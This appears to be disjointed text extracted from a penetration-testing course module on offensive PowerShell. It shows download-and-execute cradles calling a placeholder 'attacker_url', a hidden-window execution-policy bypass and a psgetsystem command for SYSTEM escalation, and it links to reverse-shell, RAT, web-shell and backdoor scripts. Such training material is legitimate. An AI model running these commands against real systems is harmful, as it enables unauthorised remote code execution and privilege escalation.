Section 3 Module 3 Offensive PowerShell
Section 3 Module 3 Offensive PowerShell
3.2 Obfuscation
https://msdn.microsoft.com/en-us/library/system.net.webclient(v=vs.110).aspx
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-object?view=powershell-6
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6
https://msdn.microsoft.com/en-us/library/system.net.webclient(v=vs.110).aspx
https://msdn.microsoft.com/en-us/library/fhd1f0sw(v=vs.110).aspx
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
We can run the same command from a standard windows
command prompt:
C:\> powershell.exe iex (New-Object Net.Webclient).DownloadString(‘http://attacker_url/script.ps1’)
The DownloadString URL for the latter uses single quotes when run
from cmd.exe, and double-quotes when initiating it from
powershell.exe.
PS C:\> iex (New-Object Net.Webclient).DownloadString(“http://attacker_url/script.ps1")
The above script will simply list all system processes and provide
the Process name, and paths to the process executables.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Once we’ve
hosted our script,
we can simply call
it from the
powershell
console with the
Net.WebClient
object and
DownloadString
method:
https://msdn.microsoft.com/en-us/library/system.net.webrequest(v=vs.110).aspx
https://msdn.microsoft.com/en-us/library/system.net.webrequest(v=vs.110).aspx
https://msdn.microsoft.com/en-us/library/system.xml.xmldocument(v=vs.110).aspx
The above xml file will simply list the system processes when
executed.
https://msdn.microsoft.com/en-us/library/windows/desktop/ms690343(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa384059(v=vs.85).aspx
This will ensure we can run our scripts and that the powershell
window stays hidden from the end-user.
C:\> powershell.exe –ExecutionPolicy bypass –Window hidden .\downloader.ps1
https://github.com/danielbohannon/Invoke-CradleCrafter
https://github.com/danielbohannon/Invoke-Obfuscation
We have three options with the “STRING” obfuscation method. Let’s go with
option “3,” the “Reverse” method.
Quote
You’ll notice this when you try to apply a method and receive a
warning about the command exceeding cmd.exe’s maximum
command length:
https://github.com/PowerShellMafia/PowerSploit
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
First, we can utilize Invoke-PortScan to execute a ping scan (-
PingOnly) against our target network range in CIDR notation with
the “-Hosts” parameter in an attempt to identify live hosts:
PS C:\> Invoke-Portscan -Hosts "192.168.13.1/24" -PingOnly
https://powersploit.readthedocs.io/en/latest/Recon/Get-HttpStatus/
MAC Address
--- -------
00:19:CA:53:2B:4C 192.168.13.58
14:F4:B4:3A:2F:6B 192.168.13.59
00:0C:29:5B:D4:43 192.168.13.172
https://github.com/darkoperator/Posh-SecMod
https://github.com/samratashok/nishang
These modules will help us get information from our target system
locally, that we could potentially use to move laterally for instance.
https://github.com/samratashok/nishang#gather
Invoke-JSRatRegsvr.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-JSRatRegsvr.ps1
Invoke-JSRatRundll.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-JSRatRundll.ps1
Invoke-PoshRatHttp.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PoshRatHttp.ps1
Invoke-PoshRatHttps.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PoshRatHttps.ps1
Invoke-PowerShellIcmp.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PowerShellIcmp.ps1
Invoke-PowerShellTcp.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PowerShellTcp.ps1
Invoke-PowerShellTcpOneLine.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PowerShellTcpOneLine.ps1
Invoke-PowerShellTcpOneLineBind.ps1:
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLineBind.ps1
Invoke-PowerShellUdp.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PowerShellUdp.ps1
Invoke-PowerShellUdpOneLine.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PowerShellUdpOneLine.ps1
Invoke-PowerShellWmi.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PowerShellWmi.ps1
Invoke-PsGcat.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PsGcat.ps1
Invoke-PsGcatAgent.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-
PsGcatAgent.ps1
Remove-PoshRat.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Remove-PoshRat.ps1
ActiveDirectory: https://github.com/samratashok/nishang/tree/master/ActiveDirectory
Antak-WebShell: https://github.com/samratashok/nishang/tree/master/Antak-WebShell
Backdoors: https://github.com/samratashok/nishang/tree/master/Backdoors
Bypass: https://github.com/samratashok/nishang/tree/master/Bypass
Client: https://github.com/samratashok/nishang/tree/master/Client
Escalation: https://github.com/samratashok/nishang/tree/master/Escalation
Execution: https://github.com/samratashok/nishang/tree/master/Execution
Gather: https://github.com/samratashok/nishang/tree/master/Gather
Explore all of the different options we have with this framework and how it
relates to our post-exploitation process.
https://github.com/PowerShellMafia/PowerSploit
• AntivirusBypass • Persistence
• Code Execution • Privesc
• Exfiltration • Recon
• Mayhem • ScriptModification
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
We can invoke it
on the target after
we’ve imported
the Privesc.psm1
module with the
“Invoke-
AllChecks”
command.
In your exploration of the tool, you can create a dll that will spawn
a meterpreter reverse shell for instance.
https://github.com/decoder-it/psgetsystem
https://github.com/decoder-it
https://github.com/decoder-it/psgetsystem
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Psgetsystem allows us to get SYSTEM privileges via a parent
process, which then spawns a child process which effectively
inherits the SYSTEM access privileges of the parent.
For demonstration purposes, we’ll instruct psgetsystem to run “cmd.exe” within the
ZeroConfigService process 3632.
This will launch a cmd.exe prompt, but as a child process of the SYSTEM-owned
ZeroConfigService.exe process, and as a result, our “child” process, will also be
SYSTEM.
PS C:\> . .\psgetsys.ps1
PS C:\> [MyProcess]::CreateProcessFromParent(3632,”cmd.exe”)
https://github.com/EmpireProject/Empire
https://github.com/EmpireProject/Empire/wiki/Quickstart
Make sure to check out the video included with this module for a
walkthrough of its capabilities.
PowerShell and
Metasploit
Explore all paths, and enjoy the process! We hope you’ve enjoyed this lesson.
New-Object Net.WebRequest
https://docs.microsoft.com/en- https://msdn.microsoft.com/en-
us/powershell/module/microsoft.powershell.utility/ne us/library/system.net.webrequest(v=vs.110).aspx
w-object?view=powershell-6
Net.WebClient System.Xml.XmlDocument
DownloadString Method https://msdn.microsoft.com/en-
us/library/system.xml.xmldocument(v=vs.110).aspx
https://msdn.microsoft.com/en-
us/library/fhd1f0sw(v=vs.110).aspx
Invoke-Obfuscation Posh-SecMod
https://github.com/danielbohannon/Invoke- https://github.com/darkoperator/Posh-SecMod
Obfuscation
PowerSploit Nishang
https://github.com/PowerShellMafia/PowerSploit https://github.com/samratashok/nishang
psgetsystem
Invoke-Portscan https://github.com/decoder-it/psgetsystem
https://github.com/PowerShellMafia/PowerSploit/blo
b/master/Recon/Invoke-Portscan.ps1